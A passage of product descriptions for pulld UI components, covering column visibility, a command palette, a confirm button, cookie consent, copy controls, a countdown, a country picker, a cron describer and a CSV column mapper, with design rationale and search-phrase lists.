over the result of all four, because each of them can take the visible count below the minimum on its own, and a table of zero columns renders as a strip of nothing with the control that would undo it inside one of the columns that went. The fifth is that the newness of a column is measured against the preference's `order` and nothing else. `order` is the only field that enumerates what a preference knew; `hidden` lists a subset and says nothing about the rest. Measure against both and a caller who stores only `{ hidden: [...] }` — a complete preference, and a common way to keep one — has every unlisted column reported as new on every single load; measure against nothing and a first-time visitor is greeted with "5 new columns", since every column is new to an empty preference. So `added` is empty unless a preference that spelled out which columns there were met a table that has more. Where the preference is kept is deliberately not this component's business: it takes a value and emits the next one, and `localStorage`, a query parameter and a column on the user row are each two lines at the call site. The one that is right depends on whether the choice should follow the person to another browser or follow the link to a colleague, and a component that picked for you would have picked `localStorage`, the one that can do neither. `serializeColumnPreference` and `parseColumnPreference` are there for the short form a URL or a storage key wants — `"created,-email,name"`, a leading `-` meaning hidden — which is a third the length of JSON once a URL has percent-encoded the braces, and which escapes the two characters the format itself uses so a column whose key holds a comma is not a column nobody can get back. Parsing never throws: this value arrives from a URL, which means it arrives from anyone, and the worst a hand-edited link can do is show the default table. Three decisions about the control itself. It is a disclosure, not a menu: `role="menu"` is the reflex for a button that opens a list and it is wrong twice here, since a menu item is one actionable thing while every row holds a checkbox and two move buttons, and a menu owns the arrow keys those buttons need to be reachable with — so the panel is a plain group of real checkboxes that Tab walks, and nothing has to be re-implemented with `aria-activedescendant` to behave like what it already is. A column it will not let you hide stays a checkbox you can press, marked `aria-disabled` rather than `disabled`: `disabled` is tidier to look at and takes the row out of the tab order while leaving no way to find out why, which matters because the usual reason is the floor and the floor lifts the moment another column comes back — here the press is refused and the refusal is said out loud, with the second identical refusal still heard, since repeating a sentence into a live region is not a change and is not announced. And a move steps over the columns you cannot see: swapping with the literal neighbour in the array is shorter and produces a control that does nothing when a hidden column sits between two visible ones, so the table is identical and the button looks broken, while hidden columns keep their index through the swap they were skipped in — un-hide one later and it is back between the same two neighbours. Locked columns are walls rather than columns you move through, which is the whole point of pinning the row-actions column to the end. Official shadcn/ui has nothing of the kind, measured today rather than remembered. Fetching every entry in its registry — 65 listed, 62 fetchable, `code-block`, `questionnaire` and `trace` 404 on both style tracks — and searching all 223,287 bytes of source, `columnVisibility`, `visibleColumns`, `hiddenColumns`, `toggleColumn`, `Toggle columns` and even the bare word `columns` are every one of them a zero hit. Three words are not zero and all three are worth unfolding rather than rounding: `View` returns 22, every one of them a `Viewport` in message-scroller, navigation-menu, scroll-area, select or toast; `hide` returns 10, every one of them `hideLabel`, `hideIndicator` or `hideIcon` inside the chart tooltip and legend; `visib` returns 81, every one of them a `focus-visible:` Tailwind variant apart from one `invisible` on a calendar's blank day. The check that settles it is the name list rather than the word count, because official can ship a component whose source says nothing about what it does: no entry among the 65 is a column control of any kind, and its `table` is 2,859 bytes of six presentational wrappers. Within pulld this is the last piece of the table family, and the other four are each a different axis: `sort-header` is the order of the rows, `column-resizer` is how wide a column is, `sticky-table-header` keeps the heading on screen, `table-row-expander` opens a row. None of them decides which columns exist, and none composes into this one, so it has no `registryDependencies`. It is also not `multi-select` with a table-shaped label — what is being chosen here has an order, a floor and members that cannot be deselected — not `transfer-list`, which moves items between two panes, and not `sortable-list`: if dragging is what you want for reordering, that is the component, and the reorder here is two buttons per row on purpose, because a drag inside a 240-pixel panel that has to auto-scroll itself is the part that breaks, while two buttons are unambiguous on a touch screen and need no live-region choreography beyond a position. The API: `columns` is `{ key, label, locked? }[]`; `preference` and `onPreferenceChange` make it controlled, and a `null`, `undefined` or partial preference is always valid; `minVisible` (default 1), `reorderable`, `align`, `disabled` and `labels` are the rest. The logic is exported as plain functions so a table that renders on the server or paginates through an API can have the resolved order without mounting a menu: `resolveColumnPreference`, `setColumnVisible`, `toggleColumnVisibility`, `showAllColumns`, `moveColumn`, `hideBlockedReason`, `isDefaultColumnPreference`, `defaultColumnPreference`, `serializeColumnPreference` and `parseColumnPreference`, plus `useColumnVisibility` for a panel of your own. Every label is replaceable one at a time for another language. One file, five lucide icons, your `cn`, and no table library.
A ready-made ⌘K command palette: one component you drop in, open with a keyboard shortcut, and fill with actions. Reach for it the moment a nav bar stops being able to hold everything — an admin panel with forty routes, a dashboard whose actions have no button of their own, a docs or knowledge-base site that needs jump-to-page search, an editor or IDE-like tool, a settings surface buried three levels deep, a B2B app where power users live all day, and any product where "where is that page again" is a support question. It covers global search, jump-to-page navigation, quick actions, and shortcuts for people who would rather not touch the mouse. Common asks it answers: "command palette", "command palette react", "cmd+k menu", "ctrl+k search", "command menu", "quick switcher", "spotlight-style search", "raycast-style launcher", "jump to anything", "action launcher", "global search dialog", "search modal react", "cmdk alternative", "kbar alternative", "command palette without cmdk", "shadcn command dialog example", "how to build a command palette", "nextjs command palette", "react router command palette", "vite react cmd+k", "tailwind command menu", "keyboard shortcut to open modal react", "cmd+k hotkey react hook", "detect cmd or ctrl cross platform", "focus trap in a dialog react", "restore focus after closing a modal", "aria-activedescendant combobox listbox", "fuzzy search with highlighted matches react", "highlight matching characters in search results", "recently used items localStorage", "async search results in a dialog", "algolia docsearch alternative", "コマンドパレット react", "⌘K メニュー 実装". shadcn/ui does ship command, and the difference is what you get handed: that one is nine primitives — Command, CommandDialog, CommandInput, CommandList, CommandGroup, CommandItem, CommandEmpty, CommandSeparator, CommandShortcut — wrapping the cmdk npm package and pulling in the dialog item, which you then assemble into a palette yourself. This is a single component that depends on nothing but lucide-react: no cmdk, no dialog, no assembly. It arrives with the parts that are otherwise left to you — recently used entries surfaced when the input is empty and remembered across visits in localStorage, fuzzy filtering that highlights the matched characters in each result, grouped sections, per-item keywords so an entry is findable by words that are not in its label, displayed shortcut keys, wrap-around arrow-key navigation, and an async source hook so results can come from your own endpoint instead of a hard-coded array. The hotkey is one prop and it is cross-platform without being configured: the handler takes the command key or the control key, so ⌘K on a Mac and Ctrl+K on Windows and Linux both open it, which is the check a hand-rolled listener usually hardcodes one way. The fiddly part of a palette is not the list, it is the focus: opening it traps focus so Tab cannot wander into the page behind, closing it puts focus back on whatever the reader was on, and the highlighted row is exposed with combobox and listbox roles plus aria-activedescendant, so the active option is announced while the text cursor stays in the input where typing belongs. If you would rather not run search infrastructure, the exported pulldSearchSource helper points the same async source at pulld Search for hosted semantic results.
Inline two-step confirmation on the button itself, with no modal and no dialog state to wire up: the first click arms it — the label swaps to "Confirm?" and the button turns destructive — and only the second click calls onConfirm. It disarms itself after a timeout (3s by default) and on blur, so a stray double-click, a scroll away, a Tab out or a click somewhere else can never fire the action; that pair of escapes is the whole difference between this and the naive version, which is armed forever and goes off the next time the row is clicked for any reason at all. Reach for it wherever a modal would outweigh the action, which is almost every destructive control that lives inside a list rather than on a page: a delete, remove, archive or discard button in a table row, a card, a kanban card, a list item, a file or media row, a comment or post, a cart line, an uploaded attachment, a saved filter or view, a tag or label, or a toolbar; removing a member, collaborator, invite or seat; revoking an API key, token, session or device; deleting a webhook, cron job, alert rule or integration; disconnecting an OAuth app; clearing a cache, a log or a draft; unsubscribing; leaving a channel or workspace; resetting one setting back to its default. Common asks it answers: "confirm before delete without a dialog", "two-step delete button react", "click twice to confirm", "double click to delete", "are you sure button shadcn", "shadcn confirm button", "inline confirmation button", "confirm action without modal", "destructive button with confirmation", "delete button in a table row", "delete confirmation table row react", "undo-less delete confirmation", "replace window.confirm react", "react-confirm-alert alternative", "sweetalert alternative shadcn", "useConfirm hook alternative". Props: `onConfirm` (fired only on the confirming click), `confirmText` for the armed label, `timeout` in milliseconds, plus everything else a `<button>` takes. It is one real `<button>` element — Enter and Space confirm it, `disabled` is honoured, your `className` is merged through `cn`, and it defaults to `type="button"` so an armed click inside a form cannot submit it by accident. The armed state is exposed as `data-armed` for styling and announced through a permanently mounted polite live region, so the change is never carried by colour and a label swap alone — which is exactly what a screen reader would otherwise miss, since nothing about the second click announces itself. Theme-aware through the destructive tokens, zero dependencies (no Radix, no portal, no icon package, one file), and `"use client"` because it holds a state and a timer. What official shadcn/ui offers instead is alert-dialog: a modal that pulls in @radix-ui/react-alert-dialog, renders through a portal, traps focus and needs open state wired up — right for a page-level, consequential confirmation, and far too heavy to put on all twenty rows of a table. Official button has a destructive variant but no confirmation behaviour at all, and official alert is a static message. For an action severe enough that a second click is not enough — deleting a production project, a database or an account — use type-to-confirm, which makes the user type the name first. Composes with loading-button when the confirmed action is slow, and sits naturally next to bulk-action-bar, which confirms the same way for a whole selection rather than one row.
Asks which categories of cookie may be used, remembers the answer — the refusals included — and holds the tags back until it has one. Reach for it on anything public that measures its visitors: a marketing or landing page, a documentation site with analytics on it, a signup funnel, a site facing the EU or UK under the GDPR and the ePrivacy Directive or Brazil under the LGPD, a site that has to honour Global Privacy Control for California, the "Cookie settings" link in a footer, and the prompt that has to go back to everybody after a new vendor is added. Common asks it answers: "cookie consent react", "cookie banner component", "shadcn cookie consent", "gdpr cookie banner react", "cookie consent next.js", "cookie consent app router", "consent management react", "cookie preferences modal", "granular cookie consent categories", "accept reject cookies component", "cookie consent localStorage", "remember cookie choice", "store cookie consent decision", "load google analytics after consent", "defer gtag until consent", "conditionally load script after consent react", "block analytics until consent", "consent mode react", "do not track react", "navigator.doNotTrack", "globalPrivacyControl react", "respect GPC signal", "honour do not track javascript", "cookie settings link footer", "reopen cookie preferences", "withdraw cookie consent", "re-ask consent after adding a category", "consent version bump", "cookie banner hydration mismatch", "cookie banner flashes on every page load", "banner reappears after accepting", "cookie consent 同意", "cookie バナー react", "GDPR 同意 コンポーネント", "同意するまで解析タグを止める". **The banner is the easy half, and a banner on its own is decoration.** Asking the question changes nothing about what the page already did: a tag in the document `<head>`, a `<script>` in a root layout, a module imported for its side effects — all of it has fetched and fired before anybody was asked, and no banner can un-send a request. So the gate ships with the question. `<ConsentGate category="analytics"><Script src="…" /></ConsentGate>` renders nothing until that category is granted, which means the element is never created and the script is never fetched; `useConsent("analytics")` is the same answer as a boolean for a branch that is not a subtree. That is the whole honest claim, and the line it draws is drawn in the open: this reaches what React renders and nothing else. Unmounting on withdrawal is the same story in reverse — removing a `<script>` element does not unload what it installed, so withdrawal stops the next page rather than this one, and if that matters you reload after it. **A refusal is an answer, and it is written down as explicitly as a grant.** The common implementation stores `cookiesAccepted = true` on the agreement and nothing at all on the refusal, so the only visitor it remembers is the one who said yes and the one who said no is asked again on every page of every visit — the nagging is aimed precisely at the people who already declined. What is stored here is every category and its answer, false ones included, so a refusal is a complete answer and the banner does not come back. **The two browser-level refusal signals are read exactly, because the value that means the opposite is truthy.** `navigator.doNotTrack` is compared against the string `"1"` and nothing else: `"0"` means "you may track me", and it is a non-empty string, so `if (navigator.doNotTrack)` reads an explicit permission as a refusal. `navigator.globalPrivacyControl` is feature-detected and compared against `true`, because `false` is a browser saying it has no signal to send. Neither can be assumed present — measured in Chrome 152 today, `"globalPrivacyControl" in navigator` is false while `doNotTrack` *is* on the object and reads `null`, so each needs its own check and absence means nothing either way. A browser carrying one of these is not asked at all, since it has already answered, and that answer is never written to storage: it is the live reading of a setting rather than a record of a choice, so when the setting goes away the question comes back. An explicit choice made in the panel outranks the signal, because a global default that silently overrides the switches in front of somebody makes those switches a lie and leaves no way for anyone to opt in. **There are three states here, not two, and the third is why nothing ever flashes.** Before storage has been read the answer is not "no" — it is *not yet known*, and the two have different consumers. Modelled as "undecided", the banner renders on the server and on the first client pass, so every returning visitor sees the banner they dismissed flash on every page load; modelled as "granted", the tag fires for the person who is about to refuse. Unknown is treated as already-answered by the banner and as refused by the gate, which is the only combination that is wrong in neither direction, and it also means the component renders `null` during hydration rather than reading storage mid-render and tripping a mismatch. **An answer storage would not keep still applies to this page.** A private window, a partitioned context or a full quota makes the write fail, and for those visitors *every* answer is in that state. Without somewhere to hold it, the next read of storage finds nothing and puts the banner back in front of somebody who has just answered it — on every re-render. It is held in memory instead, keyed by the question it answered, so a bumped version or a newly added category still asks. A read that throws is treated as nothing stored, which asks again: losing an answer is recoverable, acting on one nobody gave is not. **The question can change, and an old answer is then an answer to a different question.** An answer that does not cover every category currently being asked about is treated as unfinished rather than as consent to the new one — the answers it does hold become the defaults in the panel and the banner comes back for the rest. `version` is for the other case, where a category keeps its id and changes its meaning, and bumping it asks everybody again. **Withdrawing is as easy as giving, and the control that does it can live anywhere.** The panel reopens on the current answer, from a plain link in a footer, because the decision has to stay changeable and under the GDPR withdrawal cannot be harder than consent. The state of that panel is held with the decision rather than inside the banner, which is the part that looks fine and is not: a component holding `isOpen` in its own `useState` gives the footer link a panel inside the footer and leaves the mounted banner shut. Focus moves into the panel when it opens and goes back to the link when it closes; an answer takes the whole region away, and the browser decides where focus lands after that rather than this pretending to. **The refusal is one click, in the banner, beside the agreement.** "Allow all" and "Necessary only" sit together at equal weight, with the per-category panel as a third option rather than as the only route to saying no. A refusal buried a step deeper than the agreement is a dark pattern, and the regulators that require the question require this as well. The strictly-necessary category is shown with the words "Always on" rather than a switch that is disabled: a control that invites a click and then ignores it is worse than a sentence. The switches are `role="switch"` with `aria-checked`, each labelled and described by its own category rather than by one shared id, every control is a real `type="button"` so a banner inside a form cannot submit it, decorative marks are `aria-hidden`, and the region is a labelled `role="region"` — not a `dialog` with `aria-modal`, which would claim the rest of the page does not exist while the page is fully usable behind it, and would be the one lie a screen reader cannot work around. An answer given in another tab arrives through the `storage` event, so a gate does not stay shut after the person consented next door. Theme tokens throughout with no hardcoded colours, one lucide icon, and nothing else added. **It is not a tag manager and it is not legal advice.** It holds a decision and gates what it is given; it does not enumerate the cookies on your origin, delete the ones already set, talk to an IAB framework, or produce a record you could show a regulator. The default category copy is a starting point and not a description of your site. Official shadcn/ui has nothing here, and the measurement is not close: fetching every entry in its registry today — 65 listed, 62 fetchable, code-block and questionnaire and trace 404 on both style tracks — and searching all 223,287 bytes of it, the strings consent, cookieConsent, doNotTrack, globalPrivacyControl, dataLayer, gtag, analytics, localStorage, categories and necessary are every one of them a zero hit. The single occurrence of `document.cookie` is `sidebar` saving whether it is open, read in context today to be sure. Within pulld it sits above announcement-bar, which shows a message and remembers that it was dismissed, and beside terms-scroll-gate, which makes somebody see a document before they can act on it. Neither of those holds a per-category decision or gates anything on one; this is the only component here whose answer other components read.
A one-click copy control: a square icon button that writes a string to the clipboard, swaps its clipboard icon for a tick, announces "Copied" to a screen reader, and resets itself a couple of seconds later. Reach for it wherever a value on the page is there to be taken somewhere else: an install or CLI command in docs, a curl or SDK example, an API key, token or client secret in a settings screen, a share or invite link, a webhook or callback URL, a connection string, a git SHA or branch name, a wallet or contract address, an invoice, order, ticket, trace or request ID, a coupon or referral code, a two-factor recovery code, an error message or stack trace a user is about to paste into a bug report, a generated password, a colour hex in a palette, and the value cell of any table or key/value list. Common asks it answers: "copy button", "copy to clipboard button react", "copy icon button", "clipboard button shadcn", "shadcn copy to clipboard", "copy button with copied state", "copy with tooltip feedback", "copy code button", "copy API key button", "copy link button", "useCopyToClipboard alternative", "react-copy-to-clipboard alternative", "copy button accessible". shadcn/ui has nothing that touches the clipboard — not in button, not in input-group, not anywhere in its sixty-odd components — so this is the piece everyone rebuilds inline, and the inline version is where the bugs live. Distinct from pulld copy-field, which is the read-only input with the value shown beside the button, and from pulld code-block, which is the scrollable panel that reveals one on hover; both compose this button rather than repeating it. What the four-line inline version gets wrong, in order: it forgets `type="button"`, so pressing it inside a form submits the form; it swaps the icon and nothing else, so a screen reader user gets no feedback at all, since a changed icon is not an event; it leaves the timeout running, so a button unmounted mid-countdown sets state on a dead component; and it treats the write as if it always succeeds. Here the button is `type="button"`, the copied state is announced through an sr-only `aria-live="polite"` region rather than through the icon, both icons are aria-hidden so nothing reads "check" out loud, and the reset timer is cleared on unmount and whenever `timeout` changes. `navigator.clipboard.writeText` rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused; a rejected write leaves the button resting instead of flashing a success it did not get, so nothing lies to the user — wrap it if you also want an error toast. The API is two props on top of a real button: `value` is the string to copy and `timeout` (default 2000ms) is how long the tick stays. Everything else is a normal button — `disabled`, `title`, `id`, `data-*` and event handlers all pass through, and your own `aria-label` replaces the built-in "Copy to clipboard" / "Copied" pair when you want to name what is being copied ("Copy API key"), with the live region still announcing the result. Styled with shadcn tokens (input, accent, ring, muted-foreground) so it follows light and dark mode, `className` merges rather than fights, and the focus ring is `focus-visible` so pointer users never see it. One file, two lucide icons, no clipboard library.
Read-only field that shows a value with a copy button docked at its right edge: one click copies, and focusing or clicking anywhere in the field selects the whole value. Use it wherever a generated string is read once and copied — an API key or secret, an access token, a client ID and client secret, a database connection string, an invite or share link, a webhook or callback URL, a license key, recovery or backup codes, a referral code, a wallet address, an account, order or transaction ID, an ngrok or preview URL, the CLI command your onboarding tells the user to run. The choice against its sibling is the value itself: install pulld's copy-button when you already have the text on the page and only need something to copy it, and this when the value has to be *shown* — in a box, read-only, selectable, in monospace, with the button docked inside it. A key the user cannot see is a key they cannot check against the one they pasted. Common asks it answers: 'copy to clipboard input react', 'readonly input with copy button', 'input with copy button shadcn', 'copy field component', 'api key field react', 'display api key with copy button', 'secret token field react', 'show connection string with copy', 'invite link copy component', 'share link input with copy', 'webhook url field react', 'select all text on focus react', 'select input value on click', 'react copy to clipboard component', 'react-copy-to-clipboard alternative', 'copy button next to text input', 'navigator.clipboard undefined', 'clipboard.writeText not working localhost', 'copy fails inside iframe', 'copy to clipboard without https', 'shadcn copy input', 'next.js copy field', 'copyable text react', 'copy input field component', 'text field with copy icon', 'read-only input copy to clipboard', 'display secret with copy button', 'reveal and copy api key', 'show generated password with copy', 'copy email address component', 'copy referral link component', 'copy coupon code', 'copy wallet address react', 'copy invite code input', 'click to copy field', 'コピー ボタン 付き 入力欄', 'APIキー 表示 コピー', '招待リンク コピー コンポーネント', 'クリップボード コピー 入力', '値を表示してコピーさせる'. Select-on-focus is the part that matters and the part hand-rolled versions leave out: navigator.clipboard.writeText rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused, and a copy button that swallows that error leaves the user with a value they cannot get out of the box. Here the whole value is already selected, so Ctrl/Cmd+C works, and it is reachable from the keyboard because focus alone selects it. The button announces itself properly too — it composes pulld's copy-button, so its accessible name flips between "Copy to clipboard" and "Copied", a polite live region says "Copied" for a screen reader, the icon is aria-hidden, and the copied state reverts after a timeout you can set. The field renders in monospace so an O and a 0 are distinguishable, forwards a ref so you can focus it from a shortcut, and takes an aria-label (default "Copyable value"). Official shadcn/ui has no copy field: its input-group is an assembly kit of six parts (InputGroup, InputGroupAddon, InputGroupButton, InputGroupText, InputGroupInput, InputGroupTextarea) that pulls in button, input and textarea and contains no clipboard call, no read-only handling and no selection behaviour — you would be writing all of the above yourself. Two files, no npm dependencies, shadcn tokens, dark mode included.
A live countdown timer to a future moment — it re-renders every second, ticks down, never goes negative, and fires an onComplete callback once when it reaches zero. Use it wherever you're waiting on a deadline: a product/waitlist launch or "coming soon" page, a sale/offer/flash-deal or cart-reservation expiry, an OTP/verification resend or rate-limit cooldown, an auction or bid close, a webinar/event/stream start time, a maintenance window, a booking or checkout hold, or a quiz/game round timer. Common asks it answers: "countdown timer react", "react countdown component", "countdown to a date react", "days hours minutes seconds react", "sale ends in timer", "flash sale countdown", "launch countdown component", "coming soon countdown", "auction ending timer", "otp resend countdown", "resend code in 30 seconds", "cooldown timer react", "event starts in countdown", "react-countdown alternative", "useCountdown hook", "countdown timer without a date library", "shadcn countdown", "shadcn timer component", "countdown timer tailwind". Pass `to` as a Date, an ISO string, or epoch milliseconds. By default it renders labeled days/hours/minutes/seconds segments (the days block appears only once at least a day remains, or force it with showDays) using shadcn card/border/foreground tokens with tabular-nums so digits don't jitter. For a fully custom face — a compact "02:14:33", a circular ring, marketing hero digits — pass a render-prop child that receives { days, hours, minutes, seconds, total, isComplete } and return your own markup. The reason to install one rather than write a setInterval is that the obvious version counts instead of looking. Decrementing a stored number once a second drifts, and it drifts in the direction that matters: a browser throttles a background tab's timers to once a minute or slower, so a tab left open on a sale page comes back reading minutes high and claims time that is already gone. Every tick here recomputes from the target and a fresh Date.now(), so a throttled tab, a laptop waking from sleep and a slow frame all self-correct on the next tick rather than accumulating. onComplete is keyed to the deadline it fired for, so changing the interval — or any re-render that re-arms the timer — cannot fire it twice for the same moment, while giving it a new `to` still can; an invalid date renders nothing instead of NaN. It is SSR/hydration-safe (server and first client render agree, then a real clock takes over) and accessible: role=timer with an aria-atomic sr-only sentence ("2 days, 14 hours, 33 minutes remaining") while the visual segments are aria-hidden, so a screen reader can read the state on demand without being spammed each second. Tune the tick with interval (100 for smooth, 60000 for minute-only) and swap the finished view with completedLabel. shadcn/ui ships no countdown or timer component of any kind. Within pulld it is the future-facing counterpart to time-ago, which labels a moment in the past; it is distinct from idle-timeout, whose deadline moves every time the user does something, where this one runs to a fixed moment everybody shares; and the span it counts down is the value duration-input collects. Depends only on your cn util — no date library, no extra packages.
A country picker: all 249 ISO 3166-1 countries, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name or two-letter code. Reach for it wherever a form asks where someone is or where something is going: sign-up and onboarding; billing, shipping and delivery addresses; the country on a tax, VAT or GST field; the list of countries you actually ship to; the residence or citizenship question in KYC, AML and identity verification; the country ahead of a phone number's dial code; nationality and place-of-birth fields on visa, travel and immigration forms; the market or region a product, price or licence is available in; bank-account, payout and remittance destinations; customs declarations; and the "country" row in profile, account and organisation settings. Common asks it answers: "country select", "country picker", "country dropdown", "country selector react", "select country component", "list of countries react", "country combobox", "searchable country select", "country select with flags", "ISO country code select", "shadcn country select", "shadcn country picker", "react-select-country-list alternative", "country autocomplete", "country field for address form", "nationality select". Official shadcn/ui has no country, region, locale or flag item of any kind — its select, native-select and combobox are empty controls that know nothing about the world — so the data is on you, and the data is where hand-rolled versions go wrong. This one carries no name table at all: it holds 249 two-letter codes and asks `Intl.DisplayNames` for the names, which means every country arrives already translated into the reader's language (JP is "Japan" in English and "日本" in Japanese) and nothing has to be re-translated or re-checked when a country is renamed upstream. The curation that matters is what is left out: `Intl.DisplayNames` will just as happily name EU (European Union), UN (United Nations), EZ (Eurozone), QO (Outlying Oceania) and 001 (world), none of which is a place a parcel can go, so the code list is explicit rather than generated. Sorting goes through `Intl.Collator`, the difference between a usable list and a broken one: a plain `sort()` orders by code point, which drops every country whose name begins with an accent — Åland Islands, Österreich — below Zimbabwe at the very bottom, exactly where nobody scrolls, and it does it in every language that has accents. The filter reads three names per country, because a person has three ways to name one: the local name, the English name (typed constantly on non-English sites, because it is what the passport and the shipping label say) and the code itself — so a Japanese page finds 日本 when someone types "japan" or "JP", and an exact two-letter code wins outright so "in" reaches India rather than burying it under Indonesia. Accents and punctuation are folded away, so "cote divoire" reaches Côte d'Ivoire despite the typographic apostrophe no keyboard produces. A real combobox, not a styled div: the trigger is a `type="button"` with `role="combobox"` and `aria-expanded`, the panel is a `listbox` driven by `aria-activedescendant`, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view through 249 rows, opening a field that already says Japan starts on Japan, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the alpha-2 code and never a display name, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; `countries` narrows the list to the places you ship to, and a stored code outside that narrowed list still shows its own name instead of silently reading as "nothing chosen"; `priority` pins the two or three countries most sign-ups come from above the alphabet; `flags` adds the flag emoji as a hint next to the name — off by default, because Windows ships no flag glyphs and renders every one of them as two bare letters; and `getCountryName()` is exported so an order summary or confirmation email spells the country exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no country-data package, no icon package, one file.
Turns a cron expression into a sentence anyone can read, and lists the next times it fires. Reach for it wherever a schedule is shown rather than edited: a scheduled-jobs table in an admin panel, the summary line under a cron input, backup and report-delivery settings, sync and webhook retry schedules, a CI/CD or deploy cadence, a GitHub Actions / Vercel Cron / Cloudflare Workers Triggers schedule rendered in your own dashboard, or the live preview beside a cron builder. Common asks it answers: "cron to human readable react", "explain a cron expression", "crontab parser component", "describe cron in plain English", "next run time from a cron expression", "cron preview shadcn", "validate a cron expression in a form", "what does 0 9 * * 1-5 mean". It handles the parts a hand-rolled parser gets wrong. The day-of-month and day-of-week fields are ORed when neither is a literal star and ANDed when either one is — so 0 0 13 * 5 runs on the 13th OR on every Friday, not only on Friday the 13th, and 0 0 13 * 0-6 runs every single day even though 0-6 covers the same seven days a star does. That rule is cron's oldest trap, it keys off syntax rather than coverage, and the component both applies it and says so on screen when it is in play. Sunday is both 0 and 7, and the fold happens after a range is expanded, so 5-7 means Friday, Saturday and Sunday instead of collapsing into a backwards range. Ranges, lists, steps, */n, a-b/n, the n/step shorthand, three-letter month and weekday aliases in any position, and the @daily / @hourly / @weekly / @monthly / @yearly / @midnight nicknames all parse; @reboot is reported as having no calendar schedule rather than being invented one; a six- or seven-field expression is named as Quartz/Spring syntax rather than dismissed as invalid, and L, W and # are named as Quartz extensions. Next runs are computed in UTC — the zone GitHub Actions, Vercel Cron and Cloudflare Triggers all schedule in — by stepping whichever field fails rather than a minute at a time, so an expression that only matches on February 29 costs a few thousand comparisons instead of two million, and one that can never match (February 30) ends empty instead of hanging. Run times are formatted without Intl, because a locale-dependent string renders differently on the server and in the browser and turns into a hydration mismatch; pass formatRun to localise it yourself. Nothing reads the clock, so the same props always produce the same markup. An invalid expression is reported inline, in words as well as in colour, with the field and token that failed — conveying state by colour alone fails WCAG 1.4.1 — and the parse helpers (parseCron, describeCron, nextCronRuns) are exported so the same expression can be validated in a form before it is saved. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing for scheduling: calendar is a date picker built on react-day-picker, and progress is a bar with no notion of recurrence.
The screen between "a CSV arrived" and "rows went into the database": it reads the head of the file, shows what it found, and lets the person correct every guess it made — the separator, whether the first row is names, and which column feeds which field. Reach for it wherever a file somebody else exported has to become records here: the import step of a B2B onboarding, a bulk upload of customers, contacts, subscribers, members or leads, an inventory, product or price-list load, an expense or transactions import, a CRM or help-desk migration, a "import from spreadsheet" button in an admin panel, a payroll or timesheet upload, a student or roster list, and the receiving half of whatever another tool's Export button produced. Common asks it answers: "csv column mapper react", "csv import mapping ui", "map csv columns to fields react", "shadcn csv import", "csv importer component react", "react-papaparse alternative", "papaparse parse csv react", "flatfile alternative open source", "csv upload wizard react", "column matching ui", "import csv to database frontend", "csv preview table react", "detect csv delimiter javascript", "guess csv separator", "csv semicolon vs comma", "excel csv semicolon delimiter", "csv parse quoted comma", "csv newline inside quotes", "csv split breaks rows", "rfc 4180 parser javascript", "csv bom first column name", "csv utf-8 bom header mismatch", "read large csv in browser", "stream csv file javascript", "file.slice textdecoder stream", "csv header detection", "does csv have header row", "validate csv column types", "csv date column validation", "csv インポート 列 マッピング", "csv 取り込み 画面", "csv 区切り文字 判定", "csv 見出し行 判定", "csv 文字化け BOM". **Guessing the separator by counting characters is the bug this is built around, and the fix is not the obvious one.** Counting occurrences in the first line is wrong in both directions: it overcounts a separator sitting inside quoted data — `id,note` over `1,"a;b;c;d;e"` has five semicolons and one comma per record, so counting picks the semicolon and the file reads as five ragged columns — and it undercounts whenever the header is the one line with no quoting in it. So each candidate is used to actually read the file and the result is scored, but *how* it is scored decided this component: the first version here ranked by columns times agreement, which picked the semicolon on that very file (five columns at half agreement beats two at full) and lost to naive counting on the case it was written for. Agreement has to lead and width only break ties, because a wrong separator does not produce a narrower table, it produces a ragged one. With agreement leading, all ten measured sample files resolve to the separator they were written with, including both quoted-data traps and a European export whose cells hold decimal commas. A one-column result is never returned as a confident guess, because that is exactly the shape a wrong separator makes — reading a semicolon file with a comma yields one column on every row, no exception and no error — and that silence is what the chooser on screen exists to break. **Records are found by parsing, never by splitting on newlines.** `id,note\n1,"line one\nline two"\n2,ok` is three records and `text.split("\n")` returns four: the quoted newline becomes a record boundary and lands every following row one column over, which is a file that opens without complaint and is wrong from that row down. Quoted separators stay in their cell, doubled quotes become one, CRLF and lone CR both end a record, a blank line in the middle is kept while trailing ones are dropped, and text that ends inside a quote is reported rather than silently closed. The reader is resumable — the quote flag, the half-built cell and the half-built row live across calls — because a chunk boundary lands wherever the byte offset says it does, including the middle of a quoted cell, and a parser restarted per chunk reads the second half as a different file. Every split point of a quoted test file is asserted to give identical records. **The preview is a window on the file, not the file.** Only a prefix is read (64 KiB by default) and the decoder is kept across chunks with `{ stream: true }`, which is not optional: slicing `名前,住所` at byte 8, the second byte of `住`, and decoding that slice alone yields a U+FFFD replacement character with no exception thrown, while a streaming decoder holds the partial bytes back and the halves rejoin exactly. A record the window cut in half is dropped rather than shown as a short row, the BOM is stripped because `"\ufeffid" === "id"` is false and a surviving one silently unmatches the first header against its field, and every check on screen says it covers the records read so far and not the whole file. **Whether the first row is a header cannot be decided from the data, so there is a toggle and an honest reason beside it.** `Tokyo,Osaka,Kyoto` is a credible header and a credible first row; a monthly sheet whose columns are `2026-01-01,2026-02-01` has a header made entirely of values. Only one piece of evidence actually settles anything, and it runs one way: a first record whose every cell is a number is not a header. Everything else is a lean — a repeated name, or a column that holds numbers below a first cell that does not — and `looksLikeHeader` returns `certain: false` on every input, so the uncertainty is in the return type rather than in a comment. **Type mismatches are reported per row, because that is how they arrive.** A column of a thousand dates where three read `n/a` is not a text column and not a date column; it is a date column with three rows to fix, and a check that answers only "is this column dates?" says no and hides the three rows that are the entire problem. So `checkColumn` names the failing row numbers and counts blanks separately, blank being a different thing to decide about. The predicates are narrower than the platform's on purpose, each for a measured reason: `Number("")` and `Number(" ")` are both 0, so a blank cell in a quantity column would import as the quantity zero — a value nobody entered and the most expensive item on this list; `Number("0x10")` is 16, `Number("0b101")` is 5 and `Number("1e3")` is 1000, none of them something a person typed into a spreadsheet; `Date.parse("42")` is a day in 2041 and `Date.parse("1699")` is in 1699, so a column of quantities or short ids reads as a column of dates; 